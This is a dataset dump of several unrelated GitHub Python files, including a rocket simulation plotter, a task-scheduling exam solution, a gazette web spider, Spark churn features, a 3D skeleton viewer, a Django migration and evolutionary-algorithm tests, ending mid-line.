OL\n\n # if state_array[i, 1] < 0:\n # state_array[i, 1] = 0;\n\n\ntest = 2;\n\n\n# ===== DIAGNOSTIC PLOTS =====\n\n# Plot control effort\nfig0 = plt.figure();\n\ncolor = 'tab:blue'\nax0 = plt.axes();\nax0.plot(time_vector, (control_array[:, 0])/(m*g)+.5, color = color)\nax0.set_ylabel(\"Normalized Thrust (0-1)\")\nax0.set_xlabel(\"Time [s]\");\nax0.legend([\"Thrust\"], loc=2)\nax0.set_title(\"Control Effort\");\n\ncolor = 'tab:red'\nax1 = ax0.twinx();\nax1.plot(time_vector, rad2deg(control_array[:, 1]), color = color);\nax1.set_ylabel(\"Thrust Vector Angle [deg]\");\n\nax1.legend([\"TVC Angle\"], loc=1)\n\n# Plot errors\nfig1 = plt.figure();\n\ncolor = 'tab:blue'\nax0 = plt.axes();\nax0.plot(time_vector, (traj_array[:, 0] - state_array[:, 0]), color = color)\nax0.set_ylabel(\"X-Error [m]\")\nax0.set_xlabel(\"Time [s]\");\nax0.legend([\"X\"], loc=2)\nax0.set_title(\"Trajectory Errors\");\n\ncolor = 'tab:red'\nax1 = ax0.twinx();\nax1.plot(time_vector, (traj_array[:, 1] - state_array[:, 1]), color = color);\nax1.set_ylabel(\"Y-Error [m]\");\n\nax1.legend([\"Y\"], loc=1)\n\n\n\n\n\n\n# ===== TRAJECTORY ANIMATION =====\n\nfig = plt.figure()\n\nfig.set_dpi(100)\n#fig.set_size_inches(6, 6)\n\nax = plt.axes(xlim=(-100, 100), ylim=(0, 100))\nplt.axis('equal')\n#patch = plt.Circle((5, -5), 0.75, fc='y')\n\npatch_width = 5;\nline_length = 5;\nvehicle = plt.Rectangle((0, 0), patch_width, patch_width, 0.0, color='blue') # vehicle\nthrust = plt.Line2D((0, 0), (0, -10), lw=3, color = 'red'); # thrust vector\n\ndef init():\n ax.clear();\n ax.add_patch(vehicle)\n ax.add_line(thrust)\n ax.plot(state_array[:, 0], state_array[:, 1], lw = .5, color='black');\n ax.plot(traj_array[:, 0], traj_array[:, 1], lw = .5, color = 'green');\n ax.set_xlabel(\"Range Position [m]\");\n ax.set_ylabel(\"Altitude [m]\");\n ax.set_title(\"Point-to-Point Tracking\");\n\n return []\n\ndef animationController(i, vehicle, thrust):\n\n animatePatch(i, vehicle);\n animateLine(i, thrust);\n return [];\n\n\n\ndef animatePatch(i, patch):\n x = state_array[i, 0];\n y = state_array[i, 1];\n th = state_array[i, 2];\n\n\n patch.set_xy((x - patch_width/2*sqrt(2)*cos(pi/4+th), y - patch_width/2*sqrt(2)*sin(pi/4+th)));\n patch.angle = rad2deg(th);\n\n return patch,\n\ndef animateLine(i, line):\n throttle = control_array[i, 0] + m*g;\n phi = control_array[i, 1]; # 20x just to exaggerate thrust vector\n\n x = state_array[i, 0];\n y = state_array[i, 1];\n th = state_array[i, 2];\n\n line_length = throttle/(m*g) * 5;\n\n line.set_xdata([x + patch_width/2*sin(th), x + patch_width/2*sin(th) + line_length*sin(th+phi)]);\n line.set_ydata([y - patch_width/2*cos(th), y - patch_width/2*cos(th) - line_length*cos(th+phi)]);\n\n return line,\n\nanim = animation.FuncAnimation(fig, animationController,\n init_func=init,\n frames=sim_length,\n fargs=(vehicle, thrust,),\n interval=2,\n blit=True,\n repeat=True)\n\nplt.show()\n\n# print(matplotlib.matplotlib_fname());\n# print(\"saving...\");\n# anim.save('hover.mp4', writer=writer)\n# #anim.save('~/PycharmProjects/2d_propulsive_control/animation.g`if`', writer='imagemagick', fps=30);\n# print(\"saved!\")\n\n#print(state_array)\nprint(\"var explorer debug\");","repo_name":"rkaggarwal/pyHopper","sub_path":"hop_test_v2.py","file_name":"hop_test_v2.py","file_ext":"py","file_size_in_byte":8212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"40556786217","text":"\"\"\"小Q的公司最近接到m个任务, 第i个任务需要xi的时间去完成, 难度等级为yi。\n小Q拥有n台机器, 每台机器最长工作时间zi, 机器等级wi。\n对于一个任务,它只能交由一台机器来完成, 如果安排给它的机器的最长工作时间小于任务需要的时间, 则不能完成,如果完成这个任务\n将获得200 * xi + 3 * yi收益。\n对于一台机器,它一天只能完成一个任务, 如果它的机器等级小于安排给它的任务难度等级, 则不能完成。\n小Q想在今天尽可能的去完成任务, 即完成的任务数量最大。如果有多种安排方案,小Q还想找到收益最大的那个方案。小Q需要你来帮助他计算一下。\n\n输入描述:\n输入包括N + M + 1行,\n输入的第一行为两个正整数n和m(1 <= n, m <= 100000), 表示机器的数量和任务的数量。\n接下来n行,每行两个整数zi和wi(0 < zi < 1000, 0 <= wi <= 100), 表示每台机器的最大工作时间和机器等级。\n接下来的m行,每行两个整数xi和yi(0 < xi < 1000, 0 <= yi<= 100), 表示每个任务需要的完成时间和任务的难度等级。\n输出描述:\n输出两个整数, 分别表示最大能完成的任务数量和获取的收益。\n\n输入例子1:\n1 2\n100 3\n100 2\n100 1\n输出例子1:\n1 20006\n\"\"\"\n\n\nclass node(): # 定义一个节点包含time和level属性（可用于排序：也可直接用 元组(time, level)排序）\n def __init__(self, time, level):\n self.time = time\n self.level = level\nimport sys\nline = list(map(int, list(sys.stdin.readline().strip().split(' '))))\nmachineNum, jobNum = line[0], line[1] # 读取第一行获取机器数量和任务数量\nmachines, jobs = [], []\nfor i in range(machineNum): # 读取每台机器的最大工作时间和机器等级\n time, level = list(map(int, list(sys.stdin.readline().strip().split(' '))))\n machines.append(node(time, level))\nfor j in range(jobNum): # 读取每个任务需要的完成时间和任务的难度系数\n time, level = list(map(int, list(sys.stdin.readline().strip().split(' '))))\n jobs.append(node(time, level))\nmachines.sort(key=lambda x: (x.time, x.level), reverse=True) # 根据时间time 以及 level属性 排序\njobs.sort(key=lambda x: (x.time, x.level), reverse=True)\n\nprofit, count, level = 0, 0, [0] * 101 # 定义任务数量和收益\nj = 0 # 对job根据时间排序，先完成时间大的收益更多；对符合条件的机器选择最接近的level\nfor i in range(jobNum): # 循环选取时间最大的job\n while j < machineNum and machines[j].time >= jobs[i].time: # 在时间条件（机器时间>任务时间）满足的情况下\n level[machines[j].level] += 1\n j += 1\n for k in range(jobs[i].level, 101): # 针对某个任务，对符合条件的机器列表 选取能完成此任务的最低配机器（能完成任务就行）\n if level[k]: # 选择最近的level，因为该level所在的机器的 time属性更大\n level[k] -= 1\n count += 1\n profit += 200 * jobs[i].time + 3 * jobs[i].level # 以job的两个属性计算收益，且time属性作用 > level属性\n break\nprint(count, profit)\n\n\n","repo_name":"cp4011/Algorithms","sub_path":"Examination/17_安排机器.py","file_name":"17_安排机器.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"}
+{"seq_id":"8678513589","text":"import datetime as dt\n\nimport dateparser\nfrom dateutil.rrule import MONTHLY, rrule\n\nfrom gazette.items import Gazette\nfrom gazette.spiders.base import BaseGazetteSpider\n\n\nclass RsPortoAlegreSpider(BaseGazetteSpider):\n TERRITORY_ID = \"4314902\"\n name = \"rs_porto_alegre\"\n allowed_domains = [\"portoalegre.rs.gov.br\"]\n start_urls = [\"http://www2.portoalegre.rs.gov.br/dopa/\"]\n start_date = dt.date(2003, 9, 3)\n\n custom_settings = {\"CONCURRENT_REQUESTS\": 8}\n\n def parse(self, response):\n menu_years = response.css(\"ul#menucss > li\")\n for menu_year in menu_years:\n menu_months = menu_year.xpath(\"./ul/li[not(contains(a/text(), 'Diário'))]\")\n months_links = self._filter_months_of_interest(menu_months)\n yield from response.follow_all(months_links, callback=self.parse_month_page)\n\n def parse_month_page(self, response):\n editions = response.css(\"#conteudo a[href$='.pdf']:not(.gbox)\")\n for edition in editions:\n text = edition.css(\"::text\")\n date = self._extract_date(text)\n\n if date is None:\n continue\n\n if not self.start_date <= date <= self.end_date:\n continue\n\n is_extra_edition = \"extra\" in text.get().lower()\n url = response.urljoin(edition.attrib[\"href\"])\n power = self._get_power_from_url(url)\n\n yield Gazette(\n date=date,\n file_urls=[url],\n is_extra_edition=is_extra_edition,\n power=power,\n )\n\n def _filter_months_of_interest(self, month_elements):\n # avoid skipping months if day of start_date is at the end of the month\n first_day_of_start_date_month = dt.date(\n self.start_date.year, self.start_date.month, 1\n )\n months_of_interest = list(\n rrule(MONTHLY, dtstart=first_day_of_start_date_month, until=self.end_date)\n )\n for month, month_element in enumerate(month_elements, start=1):\n year = int(month_element.css(\"a::text\").re_first(r\"\\d{4}\"))\n href = month_element.css(\"a\").attrib[\"href\"]\n month_date = dt.datetime(year, month, 1)\n if month_date in months_of_interest:\n yield href\n\n def _extract_date(self, text):\n common_pattern = text.re_first(r\"\\d+/\\d+/\\d+\")\n full_written_pattern = text.re_first(r\"\\d{1,2}º?\\s+de[\\w\\s]+\\d{4}\")\n marco_2010_pattern = text.re_first(r\"marco2010[_\\s]+(\\d{2})marco10\")\n\n if common_pattern:\n return dt.datetime.strptime(common_pattern, \"%d/%m/%Y\").date()\n elif full_written_pattern:\n full_written_pattern = full_written_pattern.replace(\"º\", \"\")\n return dateparser.parse(full_written_pattern, languages=[\"pt\"]).date()\n elif marco_2010_pattern:\n day = int(marco_2010_pattern)\n return dt.date(2010, 3, day)\n\n def _get_power_from_url(self, url):\n if \"executivo\" in url.lower():\n power = \"executive\"\n elif \"legislativo\" in url.lower():\n power = \"legislative\"\n else:\n power = \"executive_legislative\"\n return power\n","repo_name":"okfn-brasil/querido-diario","sub_path":"data_collection/gazette/spiders/rs/rs_porto_alegre.py","file_name":"rs_porto_alegre.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":922,"dataset":"github-code","pt":"27"}
+{"seq_id":"15717156746","text":"\"\"\"\n Module containing auxiliary functions for data preparation and model training.\n Authors: Anastasia Prokaieva & Rafael V. Pierre\n\"\"\"\n\n\nimport tempfile\nimport os\nimport pickle\n\nimport numpy as np\nimport pandas as pd\nimport pyspark.sql.functions as F\nfrom pyspark.sql import SparkSession\nfrom sklearn.utils.class_weight import compute_class_weight\n\n\ndef stratified_split_train_test(df, label, join_on, seed=42, frac=0.1):\n \"\"\"\n Stratfied split of a Spark DataDrame into a Train and Test sets\n \"\"\"\n fractions = (\n df.select(label)\n .distinct()\n .withColumn(\"fraction\", F.lit(frac))\n .rdd.collectAsMap()\n )\n df_frac = df.stat.sampleBy(label, fractions, seed)\n df_remaining = df.join(df_frac, on=join_on, how=\"left_anti\")\n return df_frac, df_remaining\n\n\ndef prepare_features(sparkDF):\n # 0/1 -> boolean\n sparkDF = sparkDF.withColumn(\"SeniorCitizen\", F.col(\"SeniorCitizen\") == 1)\n # Yes/No -> boolean\n for yes_no_col in [\"Partner\", \"Dependents\", \"PhoneService\", \"PaperlessBilling\"]:\n sparkDF = sparkDF.withColumn(yes_no_col, F.col(yes_no_col) == \"Yes\")\n sparkDF = sparkDF.withColumn(\n \"Churn\", F.when(F.col(\"Churn\") == \"Yes\", 1).otherwise(0)\n )\n\n # Contract categorical -> duration in months\n sparkDF = sparkDF.withColumn(\n \"Contract\",\n F.when(F.col(\"Contract\") == \"Month-to-month\", 1)\n .when(F.col(\"Contract\") == \"One year\", 12)\n .when(F.col(\"Contract\") == \"Two year\", 24),\n )\n\n # Converting no Internet options into negative values\n for icol in [\n \"OnlineSecurity\",\n \"OnlineBackup\",\n \"DeviceProtection\",\n \"TechSupport\",\n \"StreamingTV\",\n \"StreamingMovies\",\n ]:\n sparkDF = sparkDF.withColumn(\n str(icol),\n (\n F.when(F.col(icol) == \"Yes\", 1)\n .when(F.col(icol) == \"No internet service\", -1)\n .otherwise(0)\n ),\n )\n\n sparkDF = sparkDF.withColumn(\n \"MultipleLines\",\n (\n F.when(F.col(\"MultipleLines\") == \"Yes\", 1)\n .when(F.col(\"MultipleLines\") == \"No phone service\", -1)\n .otherwise(0)\n ),\n )\n # Empty TotalCharges -> NaN\n sparkDF = sparkDF.withColumn(\n \"TotalCharges\",\n F.when(F.length(F.trim(F.col(\"TotalCharges\"))) == 0, None).otherwise(\n F.col(\"TotalCharges\").cast(\"double\")\n ),\n )\n\n return sparkDF\n\n\ndef compute_service_features(sparkDF):\n @F.pandas_udf(\"int\")\n def num_optional_services(*cols):\n return sum(map(lambda s: (s == 1).astype(\"int\"), cols))\n\n @F.pandas_udf(\"int\")\n def num_no_services(*cols):\n return sum(map(lambda s: (s == -1).astype(\"int\"), cols))\n\n # Below also add AvgPriceIncrease: current monthly charges compared to historical average\n sparkDF = (\n sparkDF.fillna({\"TotalCharges\": 0.0})\n .withColumn(\n \"NumOptionalServices\",\n num_optional_services(\n \"OnlineSecurity\",\n \"OnlineBackup\",\n \"DeviceProtection\",\n \"TechSupport\",\n \"StreamingTV\",\n \"StreamingMovies\",\n ),\n )\n .withColumn(\n \"NumNoInternetServices\",\n num_no_services(\n \"OnlineSecurity\",\n \"OnlineBackup\",\n \"DeviceProtection\",\n \"TechSupport\",\n \"StreamingTV\",\n \"StreamingMovies\",\n ),\n )\n .withColumn(\n \"AvgPriceIncrease\",\n F.when(\n F.col(\"tenure\") > 0,\n (F.col(\"MonthlyCharges\") - (F.col(\"TotalCharges\") / F.col(\"tenure\"))),\n ).otherwise(0.0),\n )\n )\n\n return sparkDF\n\n\ndef export_df(table_name):\n \"\"\"\n Read Delta Table, compute features with prepare_features and compute_service_features\n then convert into Pandas DF select the main DF for train and validation\n\n :tableName str: Delta table Name\n :return: X and y pandas DF\n \"\"\"\n spark = SparkSession.builder.getOrCreate()\n telco_df = spark.read.format(\"delta\").table(f\"{table_name}\")\n\n telco_df = prepare_features(telco_df)\n telco_df = compute_service_features(telco_df)\n\n dataset = telco_df.toPandas()\n X = dataset.drop([\"customerID\", \"Churn\"], axis=1)\n y = dataset[\"Churn\"]\n\n return X, y\n\n\ndef compute_weights(y_train):\n \"\"\"\n Define minimum positive class scale factor\n \"\"\"\n weights = compute_class_weight(\"balanced\", classes=np.unique(y_train), y=y_train)\n scale = weights[1] / weights[0]\n return scale\n\n\ndef write_into_delta_table(\n df, path, schema_option=\"overwriteSchema\", mode=\"overwrite\", table_type=\"managed\"\n):\n if table_type == \"managed\":\n df.write.format(\"delta\").mode(mode).option(schema_option, \"true\").saveAsTable(\n path\n )\n else:\n # you need to provide the full path\n # example : /mnt/project/delta_\n df.write.format(\"delta\").mode(mode).option(schema_option, \"true\").save(path)\n\n\ndef to_object(df):\n\n df = df.astype(object)\n return df\n\n\ndef to_numeric(df):\n\n df = df.apply(pd.to_numeric, errors=\"coerce\")\n return df\n","repo_name":"rafaelvp-db/mlops-world-end-to-end","sub_path":"notebooks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5251,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"}
+{"seq_id":"20174373764","text":"import unicodecsv\n\n#https://classroom.udacity.com/courses/ud170/lessons/5430778793/concepts/53961386130923\n#https://classroom.udacity.com/datasets/ud170/udacity-students/enrollments.csv'\nenrollments_filename = '/datasets/ud170/udacity-students/enrollments.csv'\n\n## Longer version of code (replaced with shorter, equivalent version below)\n\n# enrollments = []\n# f = open(enrollments_filename, 'rb')\n# reader = unicodecsv.DictReader(f)\n# for row in reader:\n# enrollments.append(row)\n# f.close()\n\nwith open(enrollments_filename, 'rb') as f:\n reader = unicodecsv.DictReader(f)\n enrollments = list(reader)\n \n### Write code similar to the above to load the engagement\n### and submission data. The data is stored in files with\n### the given filenames. Then print the first row of each\n### table to make sure that your code works. You can use the\n### \"Test Run\" button to see the output of your code.\n\nengagement_filename = '/datasets/ud170/udacity-students/daily_engagement.csv'\ndaily_engagement = None # Replace this with your code\nwith open(engagement_filename, 'rb') as f:\n reader = unicodecsv.DictReader(f)\n daily_engagement = list(reader)\n\nsubmissions_filename = '/datasets/ud170/udacity-students/project_submissions.csv'\nproject_submissions = None # Replace this with your code\nwith open(submissions_filename, 'rb') as f:\n reader = unicodecsv.DictReader(f)\n project_submissions = list(reader)\n \n \nprint(enrollments[0])\nprint(daily_engagement[0])\nprint(project_submissions[0])\n","repo_name":"titocampos/Arquivos","sub_path":"DataScience 3 months/Semana 2/lendo_csv.py","file_name":"lendo_csv.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"1289852925","text":"import logging\nfrom typing import Union\n\nimport numpy as np\nimport pyqtgraph as pg\nimport pyqtgraph.opengl as gl\nfrom PyQt6.QtWidgets import QWidget, QVBoxLayout\nfrom pyqtgraph.dockarea.Dock import Dock\n\nfrom src.core_processes.mediapipe_stuff.mediapipe_skeleton_names_and_connections import (\n mediapipe_body_connections,\n)\nfrom src.pipelines.session_pipeline.data_classes.data_3d_single_frame_payload import (\n Data3dMultiFramePayload,\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass Gl3dViewPort(QWidget):\n def __init__(self):\n logger.info(\"setting up Visualizer3d\")\n super().__init__()\n\n self._base_scalar = 2e3 # 2 meters, probably\n self._frame_number = -1\n\n self._mediapipe_connections_dict = {}\n self._mediapipe_skeleton_scatter_item = None\n self._mediapipe_body_connections = mediapipe_body_connections\n\n self._layout = QVBoxLayout()\n self.setLayout(self._layout)\n\n self._opengl_3d_plot_widget = gl.GLViewWidget()\n self._setup_3d_view(initial_viewing_distance=self._base_scalar)\n self._layout.addWidget(self._opengl_3d_plot_widget)\n\n def _setup_3d_view(self, initial_viewing_distance: Union[float, int] = 2e3):\n self._opengl_3d_plot_widget.opts[\"distance\"] = initial_viewing_distance\n self._opengl_3d_plot_widget.opts[\"azimuth\"] = 90\n self._opengl_3d_plot_widget.opts[\"elevation\"] = 90\n\n self._create_grid_planes(grid_scale=initial_viewing_distance)\n self._create_rgb_origin_axes()\n\n def _create_rgb_origin_axes(self):\n # create XYZ axes\n x_axis_line_array = np.array([[0, 0, 0], [100, 0, 0]])\n y_axis_line_array = np.array([[0, 0, 0], [0, 100, 0]])\n z_axis_line_array = np.array([[0, 0, 0], [0, 0, 100]])\n\n self.origin_x_axis_gl_lineplot_item = pg.opengl.GLLinePlotItem(\n pos=x_axis_line_array, color=(1, 0, 0, 1), width=1.0, antialias=True\n )\n self.origin_y_axis_gl_lineplot_item = pg.opengl.GLLinePlotItem(\n pos=y_axis_line_array, color=(0, 1, 0, 1), width=1.0, antialias=True\n )\n self.origin_z_axis_gl_lineplot_item = pg.opengl.GLLinePlotItem(\n pos=z_axis_line_array, color=(0, 0, 1, 1), width=1.0, antialias=True\n )\n self._opengl_3d_plot_widget.addItem(self.origin_x_axis_gl_lineplot_item)\n self._opengl_3d_plot_widget.addItem(self.origin_y_axis_gl_lineplot_item)\n self._opengl_3d_plot_widget.addItem(self.origin_z_axis_gl_lineplot_item)\n\n def _create_grid_planes(self, grid_scale: Union[int, float] = 2e3):\n\n # create the background grids\n grid_plane_x = gl.GLGridItem()\n grid_plane_x.setSize(grid_scale, grid_scale, grid_scale)\n grid_plane_x.setSpacing(grid_scale / 10, grid_scale / 10, grid_scale / 10)\n grid_plane_x.rotate(90, 0, 1, 0)\n grid_plane_x.translate(-grid_scale, 0, 0)\n self._opengl_3d_plot_widget.addItem(grid_plane_x)\n\n grid_plane_y = gl.GLGridItem()\n grid_plane_y.setSize(grid_scale, grid_scale, grid_scale)\n grid_plane_y.setSpacing(grid_scale / 10, grid_scale / 10, grid_scale / 10)\n grid_plane_y.rotate(90, 1, 0, 0)\n grid_plane_y.translate(0, -grid_scale, 0)\n self._opengl_3d_plot_widget.addItem(grid_plane_y)\n\n grid_plane_z = gl.GLGridItem()\n grid_plane_z.setSize(grid_scale, grid_scale, grid_scale)\n grid_plane_z.setSpacing(grid_scale / 10, grid_scale / 10, grid_scale / 10)\n grid_plane_z.translate(0, 0, -grid_scale)\n self._opengl_3d_plot_widget.addItem(grid_plane_z)\n\n def _initialize_mediapipe_skeleton_dottos(\n self, mediapipe3d_trackedPoint_xyz: np.ndarray\n ):\n self._mediapipe_skeleton_scatter_item = gl.GLScatterPlotItem(\n pos=mediapipe3d_trackedPoint_xyz,\n color=(0, 1, 1, 1),\n size=10,\n pxMode=False,\n )\n self._opengl_3d_plot_widget.addItem(self._mediapipe_skeleton_scatter_item)\n\n def _initialize_mediapipe_skeleton_connections(\n self, mediapipe3d_trackedPoint_xyz: np.ndarray\n ):\n self._skeleton_connections_list = []\n for this_connection in self._mediapipe_body_connections:\n this_skel_line = gl.GLLinePlotItem(\n pos=mediapipe3d_trackedPoint_xyz[this_connection, :]\n )\n self._skeleton_connections_list.append(this_skel_line)\n self._opengl_3d_plot_widget.addItem(this_skel_line)\n\n def initialize_mediapipe_3d_skeleton(\n self, mediapipe3d_trackedPoint_xyz: np.ndarray\n ):\n\n self._initialize_mediapipe_skeleton_dottos(mediapipe3d_trackedPoint_xyz)\n self._initialize_mediapipe_skeleton_connections(mediapipe3d_trackedPoint_xyz)\n\n def update_mediapipe3d_skeleton(self, mediapipe3d_trackedPoint_xyz: np.ndarray):\n\n # update skel dottos\n self._mediapipe_skeleton_scatter_item.setData(\n pos=mediapipe3d_trackedPoint_xyz,\n )\n\n # update skel lines\n for this_skeleton_line_number, this_connection in enumerate(\n self._mediapipe_body_connections\n ):\n self._skeleton_connections_list[this_skeleton_line_number].setData(\n pos=mediapipe3d_trackedPoint_xyz[this_connection, :]\n )\n","repo_name":"Tung-Vinh-Long/FreeMoCap-v0.0.54","sub_path":"src/gui/main/visualize_session/gl_3d_view_port.py","file_name":"gl_3d_view_port.py","file_ext":"py","file_size_in_byte":5293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"37705327031","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport nodewatcher.core.registry.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contenttypes', '0002_remove_content_type_name'),\n ('core', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='IdentityConfig',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('trust_policy', nodewatcher.core.registry.fields.RegistryChoiceField(b'node.config', b'core.identity#trust_policy', default=b'first', max_length=50, choices=[(b'any', 'Trust any identity (INSECURE)'), (b'first', 'Trust and store the first received identity'), (b'config', 'Only trust explicitly configured identities')])),\n ('store_unknown', models.BooleanField(default=True, help_text='Set in order for unknown identities to be stored, so you may later confirm them. Until they are confirmed, they are not trusted.', verbose_name='Store Unknown Identities')),\n ('polymorphic_ctype', models.ForeignKey(related_name='polymorphic_identity_base.identityconfig_set+', editable=False, to='contenttypes.ContentType', null=True)),\n ('root', models.ForeignKey(related_name='config_identity_base_identityconfig', editable=False, to='core.Node')),\n ],\n options={\n 'ordering': ['id'],\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='IdentityMechanismConfig',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('trusted', models.BooleanField(default=False)),\n ('automatically_added', models.BooleanField(default=False, editable=False)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('last_seen', models.DateTimeField(null=True, editable=False, blank=True)),\n ('identity', nodewatcher.core.registry.fields.IntraRegistryForeignKey(related_name='mechanisms', editable=False, to='identity_base.IdentityConfig')),\n ('polymorphic_ctype', models.ForeignKey(related_name='polymorphic_identity_base.identitymechanismconfig_set+', editable=False, to='contenttypes.ContentType', null=True)),\n ('root', models.ForeignKey(related_name='config_identity_base_identitymechanismconfig', editable=False, to='core.Node')),\n ],\n options={\n 'ordering': ['id'],\n 'abstract': False,\n },\n ),\n ]\n","repo_name":"wlanslovenija/nodewatcher","sub_path":"nodewatcher/modules/identity/base/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"27"}
+{"seq_id":"43036748410","text":"from django.shortcuts import render\nimport channels.layers\nfrom asgiref.sync import async_to_sync\nfrom channels.layers import get_channel_layer\nfrom django.http import HttpResponse\nfrom main.models import Trigger\n\ndef update(request, trigger_code):\n\n print(trigger_code)\n target_trigger = Trigger.objects.get(code = trigger_code)\n target_trigger.is_triggered = True\n target_trigger.save()\n\n create_alert(trigger_code)\n\n return HttpResponse('\"] != pytest.approx(1.0)\n\n for idx in range(k_local_search, population_params[\"n_parents\"]):\n assert pop[idx].genome._parameter_names_to_values[\"\"] == pytest.approx(1.0)\n\n\ndef test_raise_fitness_has_wrong_type(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = int(5.0) # should raise error since fitness should be float\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n with pytest.raises(ValueError):\n ea.initialize_fitness_parents(pop, objective)\n\n\ndef test_initialize_fitness_parents(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = -1.0\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n assert all([not ind.fitness_is_None() for ind in pop.parents])\n\n\ndef test_step(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n old_parent_ids = sorted([ind.idx for ind in pop.parents])\n ea.step(pop, objective)\n new_parent_ids = sorted([ind.idx for ind in pop.parents])\n # After one step, the new parent population should have IDs that\n # are offset from the old parent ids by n_offsprings\n # This is by construction in this test because the fitness is equal to the id\n assert all(\n [\n new_id == old_id + ea_params[\"n_offsprings\"]\n for new_id, old_id in zip(new_parent_ids, old_parent_ids)\n ]\n )\n\n\ndef test_sort(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n sorted_parents = ea._sort(pop.parents)\n # Assert that the sorting inverted the list of parents (because the fitness is equal to the id)\n assert sorted_parents == pop.parents[::-1]\n\n\ndef test_create_new_offspring_and_parent_generation(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n ea_params[\"mutation_rate\"] = 1.0 # ensures every offspring has mutations\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n ea.initialize_fitness_parents(pop, objective)\n\n offsprings = ea._create_new_offspring_generation(pop)\n assert len(offsprings) == ea_params[\"n_offsprings\"]\n assert all([ind.idx >= pop.n_parents for ind in offsprings])\n # Assert that all offspring dna are different from all parents dna\n offspring_dna = [ind.genome.dna for ind in offsprings]\n parent_dna = [ind.genome.dna for ind in pop.parents]\n assert all([odna != pdna for odna in offspring_dna for pdna in parent_dna])\n\n\ndef test_create_new_parent_population(population_params, genome_params, ea_params):\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n # Create new parent population from the parents and assert that\n # we picked the first three individuals\n new_parents = ea._create_new_parent_population(3, pop.parents)\n assert new_parents == pop.parents[:3]\n\n\ndef test_update_n_objective_calls(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n n_objective_calls_expected = 0\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n assert ea.n_objective_calls == n_objective_calls_expected\n\n ea.initialize_fitness_parents(pop, objective)\n n_objective_calls_expected = population_params[\"n_parents\"]\n assert ea.n_objective_calls == n_objective_calls_expected\n\n n_generations = 100\n for _ in range(n_generations):\n offsprings = ea._create_new_offspring_generation(pop)\n combined = offsprings + pop.parents\n n_objective_calls_expected += sum([1 for ind in combined if ind.fitness_is_None()])\n combined = ea._compute_fitness(combined, objective)\n assert n_objective_calls_expected == ea.n_objective_calls\n\n\ndef test_update_n_objective_calls_mutation_rate_one(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n ea_params[\"mutation_rate\"] = 1.0\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n n_objective_calls_expected = population_params[\"n_parents\"]\n n_step_calls = 100\n for idx_current_step in range(n_step_calls):\n ea.step(pop, objective)\n n_objective_calls_expected += ea_params[\"n_offsprings\"]\n assert ea.n_objective_calls == n_objective_calls_expected\n\n\ndef test_hurdles(population_params, genome_params, ea_params):\n\n # make sure all offsprings are assigned fitness None\n population_params[\"n_parents\"] = 3\n ea_params[\"mutation_rate\"] = 1.0\n ea_params[\"n_offsprings\"] = 3\n ea_params[\"hurdle_percentile\"] = [0.1, 0.0]\n\n def objective_one(ind):\n # assign low fitness to individuals 4 and 5 to check blocking via hurdle\n if ind.idx in (4, 5):\n ind.fitness = -float(ind.idx)\n else:\n ind.fitness = float(ind.idx)\n return ind\n\n def objective_two(ind):\n if ind.idx == 4:\n ind.fitness = -((1.0 + float(ind.idx)) ** 2)\n else:\n ind.fitness = (1.0 + float(ind.idx)) ** 2\n return ind\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n ea.initialize_fitness_parents(pop, [objective_one, objective_two])\n\n # while initializing parents, both objectives should have been\n # evaluated for all parents; the parents fitness is hence the sum\n # of both objectives\n parents_expected = [(0, 1), (1, 5), (2, 11)]\n for ind, 